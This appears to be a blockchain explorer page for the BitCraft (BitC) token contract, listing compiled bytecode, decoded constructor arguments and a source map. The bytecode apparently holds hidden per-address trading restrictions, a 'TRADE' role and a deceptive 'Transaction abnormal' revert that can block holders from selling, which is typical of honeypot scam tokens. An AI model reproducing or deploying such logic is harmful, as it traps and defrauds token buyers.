ffffffffffff8111156115575761155661265a565b5b6040519080825280601f01601f1916602001820160405280156115895781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f815181106115c0576115bf612687565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061162357611622612687565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f6001846002611661919061224c565b61166b9190612219565b90505b600181111561170a577f3031323334353637383961626364656600000000000000000000000000000000600f8616601081106116ad576116ac612687565b5b1a60f81b8282815181106116c4576116c3612687565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c945080611703906126b4565b905061166e565b505f841461174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174490612725565b60405180910390fd5b8091505092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611842575f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20540361183d57600160085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061183c8483611297565b5b611cbe565b600160085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541480156118bb57505f15156118b77f545241444500000000000000000000000000000000000000000000000000000085610a17565b1515145b156119e0578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015801561190c57505f81115b156119a0578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461195a9190612743565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119db565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d2906127e6565b60405180910390fd5b611cbd565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cbc57600a5f9054906101000a900460ff1615611ada576001151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150315611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad0906127e6565b60405180910390fd5b5b611b047f545241444500000000000000000000000000000000000000000000000000000084610a17565b8015611b4c57505f60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054145b611cbb57600a5f9054906101000a900460ff1615611b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b96906127e6565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410158015611beb57505f81115b15611c7f578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c399190612743565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cba565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb19061284e565b60405180910390fd5b5b5b5b5b50505050565b5f8183611cd19190612743565b905092915050565b5f8183611ce69190612219565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d25578082015181840152602081019050611d0a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d4a82611cee565b611d548185611cf8565b9350611d64818560208601611d08565b611d6d81611d30565b840191505092915050565b5f6020820190508181035f830152611d908184611d40565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611dc582611d9c565b9050919050565b611dd581611dbb565b8114611ddf575f80fd5b50565b5f81359050611df081611dcc565b92915050565b5f819050919050565b611e0881611df6565b8114611e12575f80fd5b50565b5f81359050611e2381611dff565b92915050565b5f8060408385031215611e3f57611e3e611d98565b5b5f611e4c85828601611de2565b9250506020611e5d85828601611e15565b9150509250929050565b5f8115159050919050565b611e7b81611e67565b82525050565b5f602082019050611e945f830184611e72565b92915050565b5f60208284031215611eaf57611eae611d98565b5b5f611ebc84828501611de2565b91505092915050565b611ece81611df6565b82525050565b5f602082019050611ee75f830184611ec5565b92915050565b5f805f60608486031215611f0457611f03611d98565b5b5f611f1186828701611de2565b9350506020611f2286828701611de2565b9250506040611f3386828701611e15565b9150509250925092565b5f819050919050565b611f4f81611f3d565b8114611f59575f80fd5b50565b5f81359050611f6a81611f46565b92915050565b5f60208284031215611f8557611f84611d98565b5b5f611f9284828501611f5c565b91505092915050565b611fa481611f3d565b82525050565b5f602082019050611fbd5f830184611f9b565b92915050565b5f8060408385031215611fd957611fd8611d98565b5b5f611fe685828601611f5c565b9250506020611ff785828601611de2565b9150509250929050565b5f60ff82169050919050565b61201681612001565b82525050565b5f60208201905061202f5f83018461200d565b92915050565b5f806040838503121561204b5761204a611d98565b5b5f61205885828601611de2565b925050602061206985828601611de2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806120b757607f821691505b6020821081036120ca576120c9612073565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61212a602883611cf8565b9150612135826120d0565b604082019050919050565b5f6020820190508181035f8301526121578161211e565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6121b8602f83611cf8565b91506121c38261215e565b604082019050919050565b5f6020820190508181035f8301526121e5816121ac565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61222382611df6565b915061222e83611df6565b9250828201905080821115612246576122456121ec565b5b92915050565b5f61225682611df6565b915061226183611df6565b925082820261226f81611df6565b91508282048414831517612286576122856121ec565b5b5092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6122e7602583611cf8565b91506122f28261228d565b604082019050919050565b5f6020820190508181035f830152612314816122db565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612375602483611cf8565b91506123808261231b565b604082019050919050565b5f6020820190508181035f8301526123a281612369565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612403602283611cf8565b915061240e826123a9565b604082019050919050565b5f6020820190508181035f830152612430816123f7565b9050919050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612475601783612437565b915061248082612441565b601782019050919050565b5f61249582611cee565b61249f8185612437565b93506124af818560208601611d08565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f6124ef601183612437565b91506124fa826124bb565b601182019050919050565b5f61250f82612469565b915061251b828561248b565b9150612526826124e3565b9150612532828461248b565b91508190509392505050565b7f45524332303a7472616e736665722066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612598602483611cf8565b91506125a38261253e565b604082019050919050565b5f6020820190508181035f8301526125c58161258c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612626602683611cf8565b9150612631826125cc565b604082019050919050565b5f6020820190508181035f8301526126538161261a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6126be82611df6565b91505f82036126d0576126cf6121ec565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f61270f602083611cf8565b915061271a826126db565b602082019050919050565b5f6020820190508181035f83015261273c81612703565b9050919050565b5f61274d82611df6565b915061275883611df6565b92508282039050818111156127705761276f6121ec565b5b92915050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f6127d0602683611cf8565b91506127db82612776565b604082019050919050565b5f6020820190508181035f8301526127fd816127c4565b9050919050565b7f4163636f756e74206973206d697373696e6720726f6c650000000000000000005f82015250565b5f612838601783611cf8565b915061284382612804565b602082019050919050565b5f6020820190508181035f8301526128658161282c565b905091905056fea2646970667358221220938f15e39a73348a565a65e81110d81a278bacf3238d96e01197ca85420598b964736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000883514c797d5ef6bec02c59ea0cc7a47c54ae1a00000000000000000000000000000000000000000000000000000000000000008426974437261667400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044269744300000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): BitCraft
Arg [1] : _symbol (string): BitC
Arg [2] : _totalSupply (uint256): 100000000
Arg [3] : tokenHold (address): 0x883514c797d5EF6bEC02c59Ea0Cc7a47C54ae1a0

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 000000000000000000000000883514c797d5ef6bec02c59ea0cc7a47c54ae1a0
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 4269744372616674000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4269744300000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

22534:1435:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11718:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12684:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9638:89;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9733:90;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5775:78;;;:::i;:::-;;12033:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12884:525;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6532:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5351:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6661:159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11934:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6993:278;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13415:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9514:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12147:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8077:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5859:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11824:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5692:77;;;:::i;:::-;;13711:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12296:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5296:48;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6826:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12502:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7968:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11718:100;11772:13;11805:5;11798:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11718:100;:::o;12684:194::-;12792:4;12809:39;12818:12;:10;:12::i;:::-;12832:7;12841:6;12809:8;:39::i;:::-;12866:4;12859:11;;12684:194;;;;:::o;9638:89::-;5383:4;9685:5;;5439:30;5450:4;5456:12;:10;:12::i;:::-;5439:10;:30::i;:::-;9715:4:::1;9703:3;:9;9707:4;9703:9;;;;;;;;;;;;;;;;:16;;;;;;;;;;;;;;;;;;9638:89:::0;;:::o;9733:90::-;5383:4;9780:5;;5439:30;5450:4;5456:12;:10;:12::i;:::-;5439:10;:30::i;:::-;9810:5:::1;9798:3;:9;9802:4;9798:9;;;;;;;;;;;;;;;;:17;;;;;;;;;;;;;;;;;;9733:90:::0;;:::o;5775:78::-;5383:4;5812:5;;5439:30;5450:4;5456:12;:10;:12::i;:::-;5439:10;:30::i;:::-;5840:5:::1;5830:7;;:15;;;;;;;;;;;;;;;;;;5775:78:::0;:::o;12033:108::-;12094:7;12121:12;;12114:19;;12033:108;:::o;12884:525::-;13024:4;13041:36;13051:6;13059:9;13070:6;13041:9;:36::i;:::-;13088:24;13115:11;:19;13127:6;13115:19;;;;;;;;;;;;;;;:33;13135:12;:10;:12::i;:::-;13115:33;;;;;;;;;;;;;;;;13088:60;;13201:6;13181:16;:26;;13159:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;13311:57;13320:6;13328:12;:10;:12::i;:::-;13361:6;13342:16;:25;13311:8;:57::i;:::-;13397:4;13390:11;;;12884:525;;;;;:::o;6532:123::-;6598:7;6625:6;:12;6632:4;6625:12;;;;;;;;;;;:22;;;6618:29;;6532:123;;;:::o;5351:36::-;5383:4;5351:36;;;:::o;6661:159::-;5383:4;6769:5;;5439:30;5450:4;5456:12;:10;:12::i;:::-;5439:10;:30::i;:::-;6787:25:::1;6798:4;6804:7;6787:10;:25::i;:::-;6661:159:::0;;;:::o;11934:93::-;11992:5;12017:2;12010:9;;11934:93;:::o;6993:278::-;7139:12;:10;:12::i;:::-;7128:23;;:7;:23;;;7106:120;;;;;;;;;;;;:::i;:::-;;;;;;;;;7237:26;7249:4;7255:7;7237:11;:26::i;:::-;6993:278;;:::o;13415:290::-;13528:4;13545:130;13568:12;:10;:12::i;:::-;13595:7;13654:10;13617:11;:25;13629:12;:10;:12::i;:::-;13617:25;;;;;;;;;;;;;;;:34;13643:7;13617:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;13545:8;:130::i;:::-;13693:4;13686:11;;13415:290;;;;:::o;9514:118::-;5383:4;9577:5;;5439:30;5450:4;5456:12;:10;:12::i;:::-;5439:10;:30::i;:::-;9616:8:::1;9607:6;:17;;;;:::i;:::-;9595:3;:9;9599:4;9595:9;;;;;;;;;;;;;;;:29;;;;9514:118:::0;;;:::o;12147:143::-;12237:7;12264:9;:18;12274:7;12264:18;;;;;;;;;;;;;;;;12257:25;;12147:143;;;:::o;8077:103::-;8133:7;8160:3;:12;8164:7;8160:12;;;;;;;;;;;;;;;;8153:19;;8077:103;;;:::o;5859:164::-;5962:4;5986:6;:12;5993:4;5986:12;;;;;;;;;;;:20;;:29;6007:7;5986:29;;;;;;;;;;;;;;;;;;;;;;;;;5979:36;;5859:164;;;;:::o;11824:104::-;11880:13;11913:7;11906:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11824:104;:::o;5692:77::-;5383:4;5729:5;;5439:30;5450:4;5456:12;:10;:12::i;:::-;5439:10;:30::i;:::-;5757:4:::1;5747:7;;:14;;;;;;;;;;;;;;;;;;5692:77:::0;:::o;13711:475::-;13829:4;13846:24;13873:11;:25;13885:12;:10;:12::i;:::-;13873:25;;;;;;;;;;;;;;;:34;13899:7;13873:34;;;;;;;;;;;;;;;;13846:61;;13960:15;13940:16;:35;;13918:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;14076:67;14085:12;:10;:12::i;:::-;14099:7;14127:15;14108:16;:34;14076:8;:67::i;:::-;14174:4;14167:11;;;13711:475;;;;:::o;12296:200::-;12407:4;12424:42;12434:12;:10;:12::i;:::-;12448:9;12459:6;12424:9;:42::i;:::-;12484:4;12477:11;;12296:200;;;;:::o;5296:48::-;5328:16;5296:48;:::o;6826:161::-;5383:4;6935:5;;5439:30;5450:4;5456:12;:10;:12::i;:::-;5439:10;:30::i;:::-;6953:26:::1;6965:4;6971:7;6953:11;:26::i;:::-;6826:161:::0;;;:::o;12502:176::-;12616:7;12643:11;:18;12655:5;12643:18;;;;;;;;;;;;;;;:27;12662:7;12643:27;;;;;;;;;;;;;;;;12636:34;;12502:176;;;;:::o;7968:103::-;8024:7;8051:3;:12;8055:7;8051:12;;;;;;;;;;;;;;;;8044:19;;7968:103;;;:::o;3427:98::-;3480:7;3507:10;3500:17;;3427:98;:::o;15944:378::-;16097:1;16080:19;;:5;:19;;;16072:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16178:1;16159:21;;:7;:21;;;16151:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16260:6;16230:11;:18;16242:5;16230:18;;;;;;;;;;;;;;;:27;16249:7;16230:27;;;;;;;;;;;;;;;:36;;;;16298:7;16282:32;;16291:5;16282:32;;;16307:6;16282:32;;;;;;:::i;:::-;;;;;;;;15944:378;;;:::o;6029:497::-;6110:22;6118:4;6124:7;6110;:22::i;:::-;6105:414;;6298:41;6326:7;6298:41;;6336:2;6298:19;:41::i;:::-;6412:38;6440:4;6432:13;;6447:2;6412:19;:38::i;:::-;6203:270;;;;;;;;;:::i;:::-;;;;;;;;;;;;;6149:358;;;;;;;;;;;:::i;:::-;;;;;;;;6105:414;6029:497;;:::o;23248:718::-;23407:1;23391:18;;:4;:18;;;23383:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;23483:1;23469:16;;:2;:16;;;23461:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;23554:1;23545:6;:10;23537:19;;;;;;23567:21;23591:9;:15;23601:4;23591:15;;;;;;;;;;;;;;;;23567:39;;23656:6;23639:13;:23;;23617:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;23739:35;5328:16;23757:4;23763:2;23767:6;23739:10;:35::i;:::-;23828:25;23846:6;23828:13;:17;;:25;;;;:::i;:::-;23810:9;:15;23820:4;23810:15;;;;;;;;;;;;;;;:43;;;;23891:25;23909:6;23891:9;:13;23901:2;23891:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;23875:9;:13;23885:2;23875:13;;;;;;;;;;;;;;;:41;;;;23947:2;23932:26;;23941:4;23932:26;;;23951:6;23932:26;;;;;;:::i;:::-;;;;;;;;23372:594;23248:718;;;:::o;7652:310::-;5328:16;7735:4;:13;7731:62;;7780:1;7765:3;:12;7769:7;7765:12;;;;;;;;;;;;;;;:16;;;;7731:62;7808:22;7816:4;7822:7;7808;:22::i;:::-;7803:152;;7879:4;7847:6;:12;7854:4;7847:12;;;;;;;;;;;:20;;:29;7868:7;7847:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;7930:12;:10;:12::i;:::-;7903:40;;7921:7;7903:40;;7915:4;7903:40;;;;;;;;;;7803:152;7652:310;;:::o;9829:311::-;5328:16;9913:4;:13;9909:62;;9958:1;9943:3;:12;9947:7;9943:12;;;;;;;;;;;;;;;:16;;;;9909:62;9985:22;9993:4;9999:7;9985;:22::i;:::-;9981:152;;;10056:5;10024:6;:12;10031:4;10024:12;;;;;;;;;;;:20;;:29;10045:7;10024:29;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;10108:12;:10;:12::i;:::-;10081:40;;10099:7;10081:40;;10093:4;10081:40;;;;;;;;;;9981:152;9829:311;;:::o;4610:476::-;4710:13;4736:19;4781:1;4772:6;4768:1;:10;;;;:::i;:::-;:14;;;;:::i;:::-;4758:25;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4736:47;;4794:15;:6;4801:1;4794:9;;;;;;;;:::i;:::-;;;;;:15;;;;;;;;;;;4820;:6;4827:1;4820:9;;;;;;;;:::i;:::-;;;;;:15;;;;;;;;;;;4851:9;4876:1;4867:6;4863:1;:10;;;;:::i;:::-;:14;;;;:::i;:::-;4851:26;;4846:135;4883:1;4879;:5;4846:135;;;4918:12;4939:3;4931:5;:11;4918:25;;;;;;;:::i;:::-;;;;;4906:6;4913:1;4906:9;;;;;;;;:::i;:::-;;;;;:37;;;;;;;;;;;4968:1;4958:11;;;;;4886:3;;;;:::i;:::-;;;4846:135;;;;5008:1;4999:5;:10;4991:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;5071:6;5057:21;;;4610:476;;;;:::o;8186:1228::-;8345:10;;;;;;;;;;;8337:18;;:4;:18;;;8333:1074;;8387:1;8376:3;:7;8380:2;8376:7;;;;;;;;;;;;;;;;:12;8372:105;;8419:1;8409:3;:7;8413:2;8409:7;;;;;;;;;;;;;;;:11;;;;8441:20;8452:4;8458:2;8441:10;:20::i;:::-;8372:105;8333:1074;;;8511:1;8498:3;:9;8502:4;8498:9;;;;;;;;;;;;;;;;:14;:47;;;;;8540:5;8516:29;;:20;5328:16;8531:4;8516:7;:20::i;:::-;:29;;;8498:47;8494:913;;;8579:6;8566:3;:9;8570:4;8566:9;;;;;;;;;;;;;;;;:19;;:33;;;;;8598:1;8589:6;:10;8566:33;8562:193;;;8644:6;8632:3;:9;8636:4;8632:9;;;;;;;;;;;;;;;;:18;;;;:::i;:::-;8620:3;:9;8624:4;8620:9;;;;;;;;;;;;;;;:30;;;;8562:193;;;8691:48;;;;;;;;;;:::i;:::-;;;;;;;;8562:193;8494:913;;;8782:10;;;;;;;;;;;8776:16;;:2;:16;;;8772:635;;8813:7;;;;;;;;;;;8809:169;;;8858:4;8845:17;;:3;:9;8849:4;8845:9;;;;;;;;;;;;;;;;;;;;;;;;;:17;;;8841:122;;;8895:48;;;;;;;;;;:::i;:::-;;;;;;;;8841:122;8809:169;8996:20;5328:16;9011:4;8996:7;:20::i;:::-;:38;;;;;9033:1;9020:3;:9;9024:4;9020:9;;;;;;;;;;;;;;;;:14;8996:38;8992:404;;9067:7;;;;;;;;;;;9063:104;;;9099:48;;;;;;;;;;:::i;:::-;;;;;;;;9063:104;9204:6;9191:3;:9;9195:4;9191:9;;;;;;;;;;;;;;;;:19;;:33;;;;;9223:1;9214:6;:10;9191:33;9187:194;;;9273:6;9261:3;:9;9265:4;9261:9;;;;;;;;;;;;;;;;:18;;;;:::i;:::-;9249:3;:9;9253:4;9249:9;;;;;;;;;;;;;;;:30;;;;9187:194;;;9328:33;;;;;;;;;;:::i;:::-;;;;;;;;9187:194;8992:404;8772:635;8494:913;8333:1074;8186:1228;;;;:::o;1417:98::-;1475:7;1506:1;1502;:5;;;;:::i;:::-;1495:12;;1417:98;;;;:::o;1313:::-;1371:7;1402:1;1398;:5;;;;:::i;:::-;1391:12;;1313:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:77::-;4795:7;4824:5;4813:16;;4758:77;;;:::o;4841:122::-;4914:24;4932:5;4914:24;:::i;:::-;4907:5;4904:35;4894:63;;4953:1;4950;4943:12;4894:63;4841:122;:::o;4969:139::-;5015:5;5053:6;5040:20;5031:29;;5069:33;5096:5;5069:33;:::i;:::-;4969:139;;;;:::o;5114:329::-;5173:6;5222:2;5210:9;5201:7;5197:23;5193:32;5190:119;;;5228:79;;:::i;:::-;5190:119;5348:1;5373:53;5418:7;5409:6;5398:9;5394:22;5373:53;:::i;:::-;5363:63;;5319:117;5114:329;;;;:::o;5449:118::-;5536:24;5554:5;5536:24;:::i;:::-;5531:3;5524:37;5449:118;;:::o;5573:222::-;5666:4;5704:2;5693:9;5689:18;5681:26;;5717:71;5785:1;5774:9;5770:17;5761:6;5717:71;:::i;:::-;5573:222;;;;:::o;5801:474::-;5869:6;5877;5926:2;5914:9;5905:7;5901:23;5897:32;5894:119;;;5932:79;;:::i;:::-;5894:119;6052:1;6077:53;6122:7;6113:6;6102:9;6098:22;6077:53;:::i;:::-;6067:63;;6023:117;6179:2;6205:53;6250:7;6241:6;6230:9;6226:22;6205:53;:::i;:::-;6195:63;;6150:118;5801:474;;;;;:::o;6281:86::-;6316:7;6356:4;6349:5;6345:16;6334:27;;6281:86;;;:::o;6373:112::-;6456:22;6472:5;6456:22;:::i;:::-;6451:3;6444:35;6373:112;;:::o;6491:214::-;6580:4;6618:2;6607:9;6603:18;6595:26;;6631:67;6695:1;6684:9;6680:17;6671:6;6631:67;:::i;:::-;6491:214;;;;:::o;6711:474::-;6779:6;6787;6836:2;6824:9;6815:7;6811:23;6807:32;6804:119;;;6842:79;;:::i;:::-;6804:119;6962:1;6987:53;7032:7;7023:6;7012:9;7008:22;6987:53;:::i;:::-;6977:63;;6933:117;7089:2;7115:53;7160:7;7151:6;7140:9;7136:22;7115:53;:::i;:::-;7105:63;;7060:118;6711:474;;;;;:::o;7191:180::-;7239:77;7236:1;7229:88;7336:4;7333:1;7326:15;7360:4;7357:1;7350:15;7377:320;7421:6;7458:1;7452:4;7448:12;7438:22;;7505:1;7499:4;7495:12;7526:18;7516:81;;7582:4;7574:6;7570:17;